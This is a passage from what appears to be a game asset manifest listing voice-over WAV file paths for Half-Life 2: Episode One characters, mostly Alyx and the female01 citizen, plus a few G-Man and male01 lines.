+vo/episode_1/npc/alyx/al_greet_cit04.wav +vo/episode_1/npc/alyx/al_greet_cit05.wav +vo/episode_1/npc/alyx/al_greet_cit06.wav +vo/episode_1/npc/alyx/al_greet_cit07.wav +vo/episode_1/npc/alyx/al_greet_cit08.wav +vo/episode_1/npc/alyx/al_greet_cit09.wav +vo/episode_1/npc/alyx/al_greet_cit10.wav +vo/episode_1/npc/alyx/al_greet_cit11.wav +vo/episode_1/npc/alyx/al_greet_cit12.wav +vo/episode_1/npc/alyx/al_greet_cit13.wav +vo/episode_1/npc/alyx/al_greet_cit14.wav +vo/episode_1/npc/alyx/al_greet_cit15.wav +vo/episode_1/npc/alyx/al_greet_cit16.wav +vo/episode_1/npc/alyx/al_greet_cit17.wav +vo/episode_1/npc/alyx/al_greet_cit18.wav +vo/episode_1/npc/alyx/al_greet_cit19.wav +vo/episode_1/npc/alyx/al_greet_cit20.wav +vo/episode_1/npc/alyx/al_greet_cit21.wav +vo/episode_1/npc/alyx/al_greet_cit22.wav +vo/episode_1/npc/alyx/al_greet_cit23.wav +vo/episode_1/npc/alyx/al_grenade_warn01.wav +vo/episode_1/npc/alyx/al_grenade_warn02.wav +vo/episode_1/npc/alyx/al_grenade_warn03.wav +vo/episode_1/npc/alyx/al_grenade_warn04.wav +vo/episode_1/npc/alyx/al_grenade_warn_new_01.wav +vo/episode_1/npc/alyx/al_grenade_warn_new_02.wav +vo/episode_1/npc/alyx/al_grenade_warn_new_03.wav +vo/episode_1/npc/alyx/al_grenade_warn_new_04.wav +vo/episode_1/npc/alyx/al_gross01.wav +vo/episode_1/npc/alyx/al_gross02.wav +vo/episode_1/npc/alyx/al_hack_done01.wav +vo/episode_1/npc/alyx/al_hack_done02.wav +vo/episode_1/npc/alyx/al_hack_done03.wav +vo/episode_1/npc/alyx/al_hack_fail01.wav +vo/episode_1/npc/alyx/al_hack_fail02.wav +vo/episode_1/npc/alyx/al_hack_train01.wav +vo/episode_1/npc/alyx/al_hack_train02.wav +vo/episode_1/npc/alyx/al_hack_train03.wav +vo/episode_1/npc/alyx/al_hack_train04.wav +vo/episode_1/npc/alyx/al_hack_train05.wav +vo/episode_1/npc/alyx/al_headcrabsurprise01.wav +vo/episode_1/npc/alyx/al_headcrabsurprise02.wav +vo/episode_1/npc/alyx/al_headcrabsurprise03.wav +vo/episode_1/npc/alyx/al_healplayer01.wav +vo/episode_1/npc/alyx/al_healplayer02.wav +vo/episode_1/npc/alyx/al_holycrap01.wav +vo/episode_1/npc/alyx/al_impact01.wav +vo/episode_1/npc/alyx/al_impact02.wav +vo/episode_1/npc/alyx/al_impact03.wav +vo/episode_1/npc/alyx/al_impact04.wav +vo/episode_1/npc/alyx/al_impact05.wav +vo/episode_1/npc/alyx/al_impact06.wav +vo/episode_1/npc/alyx/al_impact07.wav +vo/episode_1/npc/alyx/al_impact08.wav +vo/episode_1/npc/alyx/al_impact09.wav +vo/episode_1/npc/alyx/al_impact10.wav +vo/episode_1/npc/alyx/al_impact11.wav +vo/episode_1/npc/alyx/al_impact12.wav +vo/episode_1/npc/alyx/al_impact13.wav +vo/episode_1/npc/alyx/al_impact14.wav +vo/episode_1/npc/alyx/al_itsallyou.wav +vo/episode_1/npc/alyx/al_laugh01.wav +vo/episode_1/npc/alyx/al_laugh02.wav +vo/episode_1/npc/alyx/al_laugh03.wav +vo/episode_1/npc/alyx/al_laugh04.wav +vo/episode_1/npc/alyx/al_laugh05.wav +vo/episode_1/npc/alyx/al_laugh06.wav +vo/episode_1/npc/alyx/al_laugh07.wav +vo/episode_1/npc/alyx/al_laugh08.wav +vo/episode_1/npc/alyx/al_laugh09.wav +vo/episode_1/npc/alyx/al_laugh10.wav +vo/episode_1/npc/alyx/al_lead_catchup01.wav +vo/episode_1/npc/alyx/al_lead_catchup02.wav +vo/episode_1/npc/alyx/al_lead_catchup03.wav +vo/episode_1/npc/alyx/al_lead_catchup04.wav +vo/episode_1/npc/alyx/al_lead_catchup05.wav +vo/episode_1/npc/alyx/al_lead_catchup06.wav +vo/episode_1/npc/alyx/al_lead_catchup07.wav +vo/episode_1/npc/alyx/al_lead_catchup08.wav +vo/episode_1/npc/alyx/al_lead_comingback01.wav +vo/episode_1/npc/alyx/al_lead_comingback02.wav +vo/episode_1/npc/alyx/al_lead_comingback03.wav +vo/episode_1/npc/alyx/al_lead_comingback04.wav +vo/episode_1/npc/alyx/al_lead_comingback05.wav +vo/episode_1/npc/alyx/al_lead_comingback06.wav +vo/episode_1/npc/alyx/al_lead_comingback07.wav +vo/episode_1/npc/alyx/al_lead_retrieve01.wav +vo/episode_1/npc/alyx/al_lead_retrieve02.wav +vo/episode_1/npc/alyx/al_lead_retrieve03.wav +vo/episode_1/npc/alyx/al_lead_start01.wav +vo/episode_1/npc/alyx/al_lead_start02.wav +vo/episode_1/npc/alyx/al_lead_start03.wav +vo/episode_1/npc/alyx/al_lead_start04.wav +vo/episode_1/npc/alyx/al_lead_start05.wav +vo/episode_1/npc/alyx/al_lead_start06.wav +vo/episode_1/npc/alyx/al_lead_start07.wav +vo/episode_1/npc/alyx/al_light_antlion.wav +vo/episode_1/npc/alyx/al_light_barnacle01.wav +vo/episode_1/npc/alyx/al_light_barnacle02.wav +vo/episode_1/npc/alyx/al_light_blind01.wav +vo/episode_1/npc/alyx/al_light_blind02.wav +vo/episode_1/npc/alyx/al_light_blind03.wav +vo/episode_1/npc/alyx/al_light_blind04.wav +vo/episode_1/npc/alyx/al_light_blind05.wav +vo/episode_1/npc/alyx/al_light_blind06.wav +vo/episode_1/npc/alyx/al_light_found01.wav +vo/episode_1/npc/alyx/al_light_found02.wav +vo/episode_1/npc/alyx/al_light_found03.wav +vo/episode_1/npc/alyx/al_light_found04.wav +vo/episode_1/npc/alyx/al_light_found05.wav +vo/episode_1/npc/alyx/al_light_found06.wav +vo/episode_1/npc/alyx/al_light_found07.wav +vo/episode_1/npc/alyx/al_light_found08.wav +vo/episode_1/npc/alyx/al_light_found09.wav +vo/episode_1/npc/alyx/al_light_found10.wav +vo/episode_1/npc/alyx/al_light_found11.wav +vo/episode_1/npc/alyx/al_light_found12.wav +vo/episode_1/npc/alyx/al_light_found13.wav +vo/episode_1/npc/alyx/al_light_found14.wav +vo/episode_1/npc/alyx/al_light_found15.wav +vo/episode_1/npc/alyx/al_light_found16.wav +vo/episode_1/npc/alyx/al_light_generic01.wav +vo/episode_1/npc/alyx/al_light_generic02.wav +vo/episode_1/npc/alyx/al_light_generic03.wav +vo/episode_1/npc/alyx/al_light_lost01.wav +vo/episode_1/npc/alyx/al_light_lost02.wav +vo/episode_1/npc/alyx/al_light_lost03.wav +vo/episode_1/npc/alyx/al_light_lost04.wav +vo/episode_1/npc/alyx/al_light_lost05.wav +vo/episode_1/npc/alyx/al_light_lost06.wav +vo/episode_1/npc/alyx/al_light_lost07.wav +vo/episode_1/npc/alyx/al_light_lost08.wav +vo/episode_1/npc/alyx/al_light_lost09.wav +vo/episode_1/npc/alyx/al_light_lost10.wav +vo/episode_1/npc/alyx/al_light_lost11.wav +vo/episode_1/npc/alyx/al_light_lost12.wav +vo/episode_1/npc/alyx/al_light_lost_quiet01.wav +vo/episode_1/npc/alyx/al_light_lost_quiet02.wav +vo/episode_1/npc/alyx/al_light_lost_quiet03.wav +vo/episode_1/npc/alyx/al_light_lost_quiet04.wav +vo/episode_1/npc/alyx/al_light_lost_quiet05.wav +vo/episode_1/npc/alyx/al_light_lost_quiet06.wav +vo/episode_1/npc/alyx/al_light_lost_quiet07.wav +vo/episode_1/npc/alyx/al_light_lost_quiet08.wav +vo/episode_1/npc/alyx/al_light_lost_quiet09.wav +vo/episode_1/npc/alyx/al_light_lost_quiet10.wav +vo/episode_1/npc/alyx/al_light_lost_quiet11.wav +vo/episode_1/npc/alyx/al_light_lost_quiet12.wav +vo/episode_1/npc/alyx/al_light_lost_quiet13.wav +vo/episode_1/npc/alyx/al_light_lost_quiet14.wav +vo/episode_1/npc/alyx/al_light_lost_quiet15.wav +vo/episode_1/npc/alyx/al_light_lost_quiet16.wav +vo/episode_1/npc/alyx/al_light_lost_quiet17.wav +vo/episode_1/npc/alyx/al_light_lost_quiet18.wav +vo/episode_1/npc/alyx/al_light_ok01.wav +vo/episode_1/npc/alyx/al_light_ok02.wav +vo/episode_1/npc/alyx/al_light_ok03.wav +vo/episode_1/npc/alyx/al_light_ok04.wav +vo/episode_1/npc/alyx/al_light_out01.wav +vo/episode_1/npc/alyx/al_light_out02.wav +vo/episode_1/npc/alyx/al_light_out03.wav +vo/episode_1/npc/alyx/al_light_out04.wav +vo/episode_1/npc/alyx/al_light_out05.wav +vo/episode_1/npc/alyx/al_light_out06.wav +vo/episode_1/npc/alyx/al_light_out07.wav +vo/episode_1/npc/alyx/al_light_out08.wav +vo/episode_1/npc/alyx/al_light_out09.wav +vo/episode_1/npc/alyx/al_light_out10.wav +vo/episode_1/npc/alyx/al_light_out11.wav +vo/episode_1/npc/alyx/al_light_out12.wav +vo/episode_1/npc/alyx/al_light_out13.wav +vo/episode_1/npc/alyx/al_light_out14.wav +vo/episode_1/npc/alyx/al_light_out15.wav +vo/episode_1/npc/alyx/al_light_out16.wav +vo/episode_1/npc/alyx/al_light_out17.wav +vo/episode_1/npc/alyx/al_light_out18.wav +vo/episode_1/npc/alyx/al_light_recharge01.wav +vo/episode_1/npc/alyx/al_light_recharge02.wav +vo/episode_1/npc/alyx/al_light_recharge03.wav +vo/episode_1/npc/alyx/al_light_recharge04.wav +vo/episode_1/npc/alyx/al_light_recharge05.wav +vo/episode_1/npc/alyx/al_light_recharge06.wav +vo/episode_1/npc/alyx/al_light_recharge07.wav +vo/episode_1/npc/alyx/al_light_turnon01.wav +vo/episode_1/npc/alyx/al_light_turnon02.wav +vo/episode_1/npc/alyx/al_light_turnon03.wav +vo/episode_1/npc/alyx/al_light_turnon04.wav +vo/episode_1/npc/alyx/al_light_zombie.wav +vo/episode_1/npc/alyx/al_mobbed_thanks01.wav +vo/episode_1/npc/alyx/al_mobbed_thanks02.wav +vo/episode_1/npc/alyx/al_mobbed_thatwasclose01.wav +vo/episode_1/npc/alyx/al_mobbed_thatwasclose02.wav +vo/episode_1/npc/alyx/al_mobbed_thatwasclose03.wav +vo/episode_1/npc/alyx/al_monsterbehindplayer01.wav +vo/episode_1/npc/alyx/al_monsterbehindplayer02.wav +vo/episode_1/npc/alyx/al_monsterbehindplayer03.wav +vo/episode_1/npc/alyx/al_monsterbehindplayer04.wav +vo/episode_1/npc/alyx/al_outofbreath01.wav +vo/episode_1/npc/alyx/al_outofbreath02.wav +vo/episode_1/npc/alyx/al_outofbreath03.wav +vo/episode_1/npc/alyx/al_outofbreath04.wav +vo/episode_1/npc/alyx/al_outofbreath05.wav +vo/episode_1/npc/alyx/al_outofbreath06.wav +vo/episode_1/npc/alyx/al_outofbreath07.wav +vo/episode_1/npc/alyx/al_outofbreath08.wav +vo/episode_1/npc/alyx/al_outofbreath09.wav +vo/episode_1/npc/alyx/al_outofbreath10.wav +vo/episode_1/npc/alyx/al_outofbreath11.wav +vo/episode_1/npc/alyx/al_outofbreath12.wav +vo/episode_1/npc/alyx/al_outofbreath13.wav +vo/episode_1/npc/alyx/al_outofbreath14.wav +vo/episode_1/npc/alyx/al_outofbreath15.wav +vo/episode_1/npc/alyx/al_physimpact01.wav +vo/episode_1/npc/alyx/al_physimpact02.wav +vo/episode_1/npc/alyx/al_physimpact03.wav +vo/episode_1/npc/alyx/al_physimpact_loud01.wav +vo/episode_1/npc/alyx/al_physimpact_loud02.wav +vo/episode_1/npc/alyx/al_physimpact_loud03.wav +vo/episode_1/npc/alyx/al_playerdeath01.wav +vo/episode_1/npc/alyx/al_playerdeath02.wav +vo/episode_1/npc/alyx/al_playerdeath03.wav +vo/episode_1/npc/alyx/al_playerdeath04.wav +vo/episode_1/npc/alyx/al_playerfalls01.wav +vo/episode_1/npc/alyx/al_playerfalls02.wav +vo/episode_1/npc/alyx/al_playerfalls03.wav +vo/episode_1/npc/alyx/al_playerreload01.wav +vo/episode_1/npc/alyx/al_playerreload02.wav +vo/episode_1/npc/alyx/al_playerreload03.wav +vo/episode_1/npc/alyx/al_playerseesmonster01.wav +vo/episode_1/npc/alyx/al_playerseesmonster02.wav +vo/episode_1/npc/alyx/al_playerseesmonster03.wav +vo/episode_1/npc/alyx/al_playerstare01.wav +vo/episode_1/npc/alyx/al_playerstare02.wav +vo/episode_1/npc/alyx/al_playerstare03.wav +vo/episode_1/npc/alyx/al_playerstare04.wav +vo/episode_1/npc/alyx/al_player_goodshot01.wav +vo/episode_1/npc/alyx/al_player_goodshot02.wav +vo/episode_1/npc/alyx/al_player_goodshot03.wav +vo/episode_1/npc/alyx/al_player_goodshot04.wav +vo/episode_1/npc/alyx/al_player_healthlow01.wav +vo/episode_1/npc/alyx/al_player_healthlow02.wav +vo/episode_1/npc/alyx/al_player_healthlow03.wav +vo/episode_1/npc/alyx/al_player_healthlow04.wav +vo/episode_1/npc/alyx/al_player_healthlow05.wav +vo/episode_1/npc/alyx/al_player_newweapon01.wav +vo/episode_1/npc/alyx/al_player_newweapon02.wav +vo/episode_1/npc/alyx/al_player_newweapon03.wav +vo/episode_1/npc/alyx/al_player_newweapon04.wav +vo/episode_1/npc/alyx/al_positive01.wav +vo/episode_1/npc/alyx/al_positive02.wav +vo/episode_1/npc/alyx/al_positive03.wav +vo/episode_1/npc/alyx/al_positive04.wav +vo/episode_1/npc/alyx/al_positive05.wav +vo/episode_1/npc/alyx/al_post_combat01.wav +vo/episode_1/npc/alyx/al_post_combat02.wav +vo/episode_1/npc/alyx/al_post_combat03.wav +vo/episode_1/npc/alyx/al_post_combat04.wav +vo/episode_1/npc/alyx/al_post_combat05.wav +vo/episode_1/npc/alyx/al_post_combat06.wav +vo/episode_1/npc/alyx/al_pzcrabs_hatethings01.wav +vo/episode_1/npc/alyx/al_pzcrabs_hatethings02.wav +vo/episode_1/npc/alyx/al_pzcrabs_suck01.wav +vo/episode_1/npc/alyx/al_pzcrabs_suck02.wav +vo/episode_1/npc/alyx/al_pzcrabs_suck03.wav +vo/episode_1/npc/alyx/al_quiet_thanks01.wav +vo/episode_1/npc/alyx/al_quiet_thanks02.wav +vo/episode_1/npc/alyx/al_quiet_thanks03.wav +vo/episode_1/npc/alyx/al_quiet_thanks04.wav +vo/episode_1/npc/alyx/al_rejoin01.wav +vo/episode_1/npc/alyx/al_rejoin02.wav +vo/episode_1/npc/alyx/al_rejoin03.wav +vo/episode_1/npc/alyx/al_rejoin04.wav +vo/episode_1/npc/alyx/al_reload01.wav +vo/episode_1/npc/alyx/al_reload02.wav +vo/episode_1/npc/alyx/al_reload03.wav +vo/episode_1/npc/alyx/al_reload04.wav +vo/episode_1/npc/alyx/al_reload05.wav +vo/episode_1/npc/alyx/al_reload06.wav +vo/episode_1/npc/alyx/al_reloading_new01.wav +vo/episode_1/npc/alyx/al_reloading_new02.wav +vo/episode_1/npc/alyx/al_reloading_new03.wav +vo/episode_1/npc/alyx/al_reloading_new04.wav +vo/episode_1/npc/alyx/al_reloading_new05.wav +vo/episode_1/npc/alyx/al_reloading_new06.wav +vo/episode_1/npc/alyx/al_reloading_new07.wav +vo/episode_1/npc/alyx/al_seemanyfoe01.wav +vo/episode_1/npc/alyx/al_seemanyfoe02.wav +vo/episode_1/npc/alyx/al_seemanyfoe03.wav +vo/episode_1/npc/alyx/al_seemanyfoe04.wav +vo/episode_1/npc/alyx/al_seemanyfoe05.wav +vo/episode_1/npc/alyx/al_seemanyfoe06.wav +vo/episode_1/npc/alyx/al_seemanyfoe07.wav +vo/episode_1/npc/alyx/al_seemanyfoe08.wav +vo/episode_1/npc/alyx/al_seemanyfoe09.wav +vo/episode_1/npc/alyx/al_seemanyfoe10.wav +vo/episode_1/npc/alyx/al_self_healthlow01.wav +vo/episode_1/npc/alyx/al_self_healthlow02.wav +vo/episode_1/npc/alyx/al_startcombat01.wav +vo/episode_1/npc/alyx/al_startcombat02.wav +vo/episode_1/npc/alyx/al_startcombat03.wav +vo/episode_1/npc/alyx/al_startcombat04.wav +vo/episode_1/npc/alyx/al_surround01.wav +vo/episode_1/npc/alyx/al_surround02.wav +vo/episode_1/npc/alyx/al_swamped01.wav +vo/episode_1/npc/alyx/al_swamped02.wav +vo/episode_1/npc/alyx/al_swamped03.wav +vo/episode_1/npc/alyx/al_swamped04.wav +vo/episode_1/npc/alyx/al_swamped05.wav +vo/episode_1/npc/alyx/al_swamped06.wav +vo/episode_1/npc/alyx/al_swamped07.wav +vo/episode_1/npc/alyx/al_swamped08.wav +vo/episode_1/npc/alyx/al_swamped09.wav +vo/episode_1/npc/alyx/al_swamped10.wav +vo/episode_1/npc/alyx/al_swamped11.wav +vo/episode_1/npc/alyx/al_swamped12.wav +vo/episode_1/npc/alyx/al_swamped13.wav +vo/episode_1/npc/alyx/al_takeammo.wav +vo/episode_1/npc/alyx/al_thanksforhelp01.wav +vo/episode_1/npc/alyx/al_thanksforhelp02.wav +vo/episode_1/npc/alyx/al_thanksforhelp03.wav +vo/episode_1/npc/alyx/al_uggh01.wav +vo/episode_1/npc/alyx/al_uggh02.wav +vo/episode_1/npc/alyx/al_uggh03.wav +vo/episode_1/npc/alyx/al_uptoyounow.wav +vo/episode_1/npc/alyx/al_urgecits01.wav +vo/episode_1/npc/alyx/al_urgecits02.wav +vo/episode_1/npc/alyx/al_urgecits03.wav +vo/episode_1/npc/alyx/al_urgecits04.wav +vo/episode_1/npc/alyx/al_urgecits05.wav +vo/episode_1/npc/alyx/al_welcome01.wav +vo/episode_1/npc/alyx/al_welcome02.wav +vo/episode_1/npc/alyx/al_welcome03.wav +vo/episode_1/npc/alyx/al_welcome04.wav +vo/episode_1/npc/alyx/al_zombie_itsalive01.wav +vo/episode_1/npc/alyx/al_zombie_liveone01.wav +vo/episode_1/npc/alyx/al_zombie_liveone02.wav +vo/episode_1/npc/alyx/al_zombine_grenadewarn01.wav +vo/episode_1/npc/alyx/al_zombine_grenadewarn02.wav +vo/episode_1/npc/alyx/al_zombine_grenadewarn03.wav +vo/episode_1/npc/female01/cit_alert_antlions01.wav +vo/episode_1/npc/female01/cit_alert_antlions02.wav +vo/episode_1/npc/female01/cit_alert_antlions03.wav +vo/episode_1/npc/female01/cit_alert_antlions04.wav +vo/episode_1/npc/female01/cit_alert_antlions05.wav +vo/episode_1/npc/female01/cit_alert_antlions06.wav +vo/episode_1/npc/female01/cit_alert_antlions07.wav +vo/episode_1/npc/female01/cit_alert_antlions08.wav +vo/episode_1/npc/female01/cit_alert_antlions09.wav +vo/episode_1/npc/female01/cit_alert_antlions10.wav +vo/episode_1/npc/female01/cit_alert_antlions11.wav +vo/episode_1/npc/female01/cit_alert_antlions12.wav +vo/episode_1/npc/female01/cit_alert_antlions13.wav +vo/episode_1/npc/female01/cit_alert_antlions14.wav +vo/episode_1/npc/female01/cit_alert_antlions15.wav +vo/episode_1/npc/female01/cit_alert_antlions16.wav +vo/episode_1/npc/female01/cit_alert_antlions17.wav +vo/episode_1/npc/female01/cit_alert_antlions18.wav +vo/episode_1/npc/female01/cit_alert_gunship01.wav +vo/episode_1/npc/female01/cit_alert_gunship02.wav +vo/episode_1/npc/female01/cit_alert_gunship03.wav +vo/episode_1/npc/female01/cit_alert_gunship04.wav +vo/episode_1/npc/female01/cit_alert_gunship05.wav +vo/episode_1/npc/female01/cit_alert_gunship06.wav +vo/episode_1/npc/female01/cit_alert_gunship07.wav +vo/episode_1/npc/female01/cit_alert_gunship08.wav +vo/episode_1/npc/female01/cit_alert_head01.wav +vo/episode_1/npc/female01/cit_alert_head02.wav +vo/episode_1/npc/female01/cit_alert_head03.wav +vo/episode_1/npc/female01/cit_alert_head04.wav +vo/episode_1/npc/female01/cit_alert_head05.wav +vo/episode_1/npc/female01/cit_alert_head06.wav +vo/episode_1/npc/female01/cit_alert_head07.wav +vo/episode_1/npc/female01/cit_alert_head08.wav +vo/episode_1/npc/female01/cit_alert_rollers01.wav +vo/episode_1/npc/female01/cit_alert_rollers02.wav +vo/episode_1/npc/female01/cit_alert_rollers03.wav +vo/episode_1/npc/female01/cit_alert_soldier01.wav +vo/episode_1/npc/female01/cit_alert_soldier02.wav +vo/episode_1/npc/female01/cit_alert_soldier03.wav +vo/episode_1/npc/female01/cit_alert_soldier04.wav +vo/episode_1/npc/female01/cit_alert_soldier05.wav +vo/episode_1/npc/female01/cit_alert_soldier06.wav +vo/episode_1/npc/female01/cit_alert_soldier07.wav +vo/episode_1/npc/female01/cit_alert_soldier_above.wav +vo/episode_1/npc/female01/cit_alert_zombie01.wav +vo/episode_1/npc/female01/cit_alert_zombie02.wav +vo/episode_1/npc/female01/cit_alert_zombie03.wav +vo/episode_1/npc/female01/cit_alert_zombie04.wav +vo/episode_1/npc/female01/cit_alert_zombie05.wav +vo/episode_1/npc/female01/cit_alert_zombie06.wav +vo/episode_1/npc/female01/cit_alert_zombie07.wav +vo/episode_1/npc/female01/cit_alert_zombie08.wav +vo/episode_1/npc/female01/cit_buddykilled01.wav +vo/episode_1/npc/female01/cit_buddykilled02.wav +vo/episode_1/npc/female01/cit_buddykilled03.wav +vo/episode_1/npc/female01/cit_buddykilled04.wav +vo/episode_1/npc/female01/cit_buddykilled05.wav +vo/episode_1/npc/female01/cit_buddykilled06.wav +vo/episode_1/npc/female01/cit_buddykilled07.wav +vo/episode_1/npc/female01/cit_buddykilled08.wav +vo/episode_1/npc/female01/cit_buddykilled09.wav +vo/episode_1/npc/female01/cit_buddykilled10.wav +vo/episode_1/npc/female01/cit_buddykilled11.wav +vo/episode_1/npc/female01/cit_buddykilled12.wav +vo/episode_1/npc/female01/cit_buddykilled13.wav +vo/episode_1/npc/female01/cit_buddykilled14.wav +vo/episode_1/npc/female01/cit_buddykilled15.wav +vo/episode_1/npc/female01/cit_comehere.wav +vo/episode_1/npc/female01/cit_denytrain01.wav +vo/episode_1/npc/female01/cit_denytrain02.wav +vo/episode_1/npc/female01/cit_denytrain03.wav +vo/episode_1/npc/female01/cit_denytrain04.wav +vo/episode_1/npc/female01/cit_evac_casualty01.wav +vo/episode_1/npc/female01/cit_evac_casualty02.wav +vo/episode_1/npc/female01/cit_evac_casualty03.wav +vo/episode_1/npc/female01/cit_evac_casualty04.wav +vo/episode_1/npc/female01/cit_evac_casualty05.wav +vo/episode_1/npc/female01/cit_evac_casualty06.wav +vo/episode_1/npc/female01/cit_evac_casualty07.wav +vo/episode_1/npc/female01/cit_evac_casualty08.wav +vo/episode_1/npc/female01/cit_evac_casualty09.wav +vo/episode_1/npc/female01/cit_evac_casualty10.wav +vo/episode_1/npc/female01/cit_evac_casualty11.wav +vo/episode_1/npc/female01/cit_evac_defendus01.wav +vo/episode_1/npc/female01/cit_evac_defendus02.wav +vo/episode_1/npc/female01/cit_evac_defendus03.wav +vo/episode_1/npc/female01/cit_evac_defendus04.wav +vo/episode_1/npc/female01/cit_evac_defendus05.wav +vo/episode_1/npc/female01/cit_evac_defendus06.wav +vo/episode_1/npc/female01/cit_evac_defendus07.wav +vo/episode_1/npc/female01/cit_evac_defendus08.wav +vo/episode_1/npc/female01/cit_evac_defendus09.wav +vo/episode_1/npc/female01/cit_evac_defendusvance.wav +vo/episode_1/npc/female01/cit_evac_enemies01.wav +vo/episode_1/npc/female01/cit_evac_enemies02.wav +vo/episode_1/npc/female01/cit_evac_no01.wav +vo/episode_1/npc/female01/cit_evac_no02.wav +vo/episode_1/npc/female01/cit_evac_no03.wav +vo/episode_1/npc/female01/cit_evac_no04.wav +vo/episode_1/npc/female01/cit_evac_ok01.wav +vo/episode_1/npc/female01/cit_evac_ok02.wav +vo/episode_1/npc/female01/cit_evac_ok03.wav +vo/episode_1/npc/female01/cit_evac_ok04.wav +vo/episode_1/npc/female01/cit_evac_thanks01.wav +vo/episode_1/npc/female01/cit_evac_thanks02.wav +vo/episode_1/npc/female01/cit_evac_thanks03.wav +vo/episode_1/npc/female01/cit_evac_thanks04.wav +vo/episode_1/npc/female01/cit_evac_thanks05.wav +vo/episode_1/npc/female01/cit_evac_thanksalyx.wav +vo/episode_1/npc/female01/cit_getaboard01.wav +vo/episode_1/npc/female01/cit_getaboard02.wav +vo/episode_1/npc/female01/cit_getaboard03.wav +vo/episode_1/npc/female01/cit_getaboard04.wav +vo/episode_1/npc/female01/cit_getaboard05.wav +vo/episode_1/npc/female01/cit_getoffstreet.wav +vo/episode_1/npc/female01/cit_greatshot.wav +vo/episode_1/npc/female01/cit_greet_alyx01.wav +vo/episode_1/npc/female01/cit_greet_alyx02.wav +vo/episode_1/npc/female01/cit_greet_alyx03.wav +vo/episode_1/npc/female01/cit_greet_alyx04.wav +vo/episode_1/npc/female01/cit_greet_alyx05.wav +vo/episode_1/npc/female01/cit_greet_alyx06.wav +vo/episode_1/npc/female01/cit_greet_alyx07.wav +vo/episode_1/npc/female01/cit_greet_alyx08.wav +vo/episode_1/npc/female01/cit_greet_alyx09.wav +vo/episode_1/npc/female01/cit_greet_alyx10.wav +vo/episode_1/npc/female01/cit_greet_alyx11.wav +vo/episode_1/npc/female01/cit_greet_alyx12.wav +vo/episode_1/npc/female01/cit_gunship.wav +vo/episode_1/npc/female01/cit_heyoverhere.wav +vo/episode_1/npc/female01/cit_hurryup.wav +vo/episode_1/npc/female01/cit_itsaraid.wav +vo/episode_1/npc/female01/cit_jump.wav +vo/episode_1/npc/female01/cit_kill01.wav +vo/episode_1/npc/female01/cit_kill02.wav +vo/episode_1/npc/female01/cit_kill03.wav +vo/episode_1/npc/female01/cit_kill04.wav +vo/episode_1/npc/female01/cit_kill05.wav +vo/episode_1/npc/female01/cit_kill06.wav +vo/episode_1/npc/female01/cit_kill07.wav +vo/episode_1/npc/female01/cit_kill08.wav +vo/episode_1/npc/female01/cit_kill09.wav +vo/episode_1/npc/female01/cit_kill10.wav +vo/episode_1/npc/female01/cit_kill11.wav +vo/episode_1/npc/female01/cit_kill12.wav +vo/episode_1/npc/female01/cit_kill13.wav +vo/episode_1/npc/female01/cit_kill14.wav +vo/episode_1/npc/female01/cit_kill15.wav +vo/episode_1/npc/female01/cit_kill16.wav +vo/episode_1/npc/female01/cit_kill17.wav +vo/episode_1/npc/female01/cit_kill18.wav +vo/episode_1/npc/female01/cit_letyouthru.wav +vo/episode_1/npc/female01/cit_notice_gravgunkill01.wav +vo/episode_1/npc/female01/cit_notice_gravgunkill02.wav +vo/episode_1/npc/female01/cit_notice_gravgunkill03.wav +vo/episode_1/npc/female01/cit_notice_gravgunkill04.wav +vo/episode_1/npc/female01/cit_pain01.wav +vo/episode_1/npc/female01/cit_pain02.wav +vo/episode_1/npc/female01/cit_pain03.wav +vo/episode_1/npc/female01/cit_pain04.wav +vo/episode_1/npc/female01/cit_pain05.wav +vo/episode_1/npc/female01/cit_pain06.wav +vo/episode_1/npc/female01/cit_pain07.wav +vo/episode_1/npc/female01/cit_pain08.wav +vo/episode_1/npc/female01/cit_pain09.wav +vo/episode_1/npc/female01/cit_pain10.wav +vo/episode_1/npc/female01/cit_raidsoldiers.wav +vo/episode_1/npc/female01/cit_reachtrain01.wav +vo/episode_1/npc/female01/cit_reachtrain02.wav +vo/episode_1/npc/female01/cit_reachtrain03.wav +vo/episode_1/npc/female01/cit_reachtrain04.wav +vo/episode_1/npc/female01/cit_reachtrain05.wav +vo/episode_1/npc/female01/cit_remarks01.wav +vo/episode_1/npc/female01/cit_remarks02.wav +vo/episode_1/npc/female01/cit_remarks03.wav +vo/episode_1/npc/female01/cit_remarks04.wav +vo/episode_1/npc/female01/cit_remarks05.wav +vo/episode_1/npc/female01/cit_remarks06.wav +vo/episode_1/npc/female01/cit_remarks07.wav +vo/episode_1/npc/female01/cit_remarks08.wav +vo/episode_1/npc/female01/cit_remarks09.wav +vo/episode_1/npc/female01/cit_remarks10.wav +vo/episode_1/npc/female01/cit_remarks11.wav +vo/episode_1/npc/female01/cit_remarks12.wav +vo/episode_1/npc/female01/cit_remarks13.wav +vo/episode_1/npc/female01/cit_remarks14.wav +vo/episode_1/npc/female01/cit_remarks15.wav +vo/episode_1/npc/female01/cit_remarks16.wav +vo/episode_1/npc/female01/cit_remarks17.wav +vo/episode_1/npc/female01/cit_remarks18.wav +vo/episode_1/npc/female01/cit_remarks19.wav +vo/episode_1/npc/female01/cit_remarks20.wav +vo/episode_1/npc/female01/cit_remarks21.wav +vo/episode_1/npc/female01/cit_remarks22.wav +vo/episode_1/npc/female01/cit_remarks23.wav +vo/episode_1/npc/female01/cit_runforit.wav +vo/episode_1/npc/female01/cit_safehouse.wav +vo/episode_1/npc/female01/cit_shock01.wav +vo/episode_1/npc/female01/cit_shock02.wav +vo/episode_1/npc/female01/cit_shock03.wav +vo/episode_1/npc/female01/cit_shock04.wav +vo/episode_1/npc/female01/cit_shock05.wav +vo/episode_1/npc/female01/cit_squad_flee01.wav +vo/episode_1/npc/female01/cit_squad_flee02.wav +vo/episode_1/npc/female01/cit_squad_flee03.wav +vo/episode_1/npc/female01/cit_squad_flee04.wav +vo/episode_1/npc/female01/cit_squad_flee05.wav +vo/episode_1/npc/female01/cit_stopburrows.wav +vo/episode_1/npc/female01/cit_tellmeaboutit.wav +vo/episode_1/npc/female01/cit_thateverybody.wav +vo/episode_1/npc/female01/cit_theyfoundus.wav +vo/episode_1/npc/female01/cit_thisway.wav +vo/episode_1/npc/female01/cit_twopeople.wav +vo/episode_1/npc/female01/cit_youbet.wav +vo/episode_1/npc/female01/cit_youknowodessa.wav +vo/episode_1/npc/gman/gman_inhale.wav +vo/episode_1/npc/gman/gman_wellseeaboutthat.wav +vo/episode_1/npc/male01/cit_alert_antlions01.wav +vo/episode_1/npc/male01/cit_alert_antlions02.wav +vo/episode_1/npc/male01/cit_alert_antlions03.wav 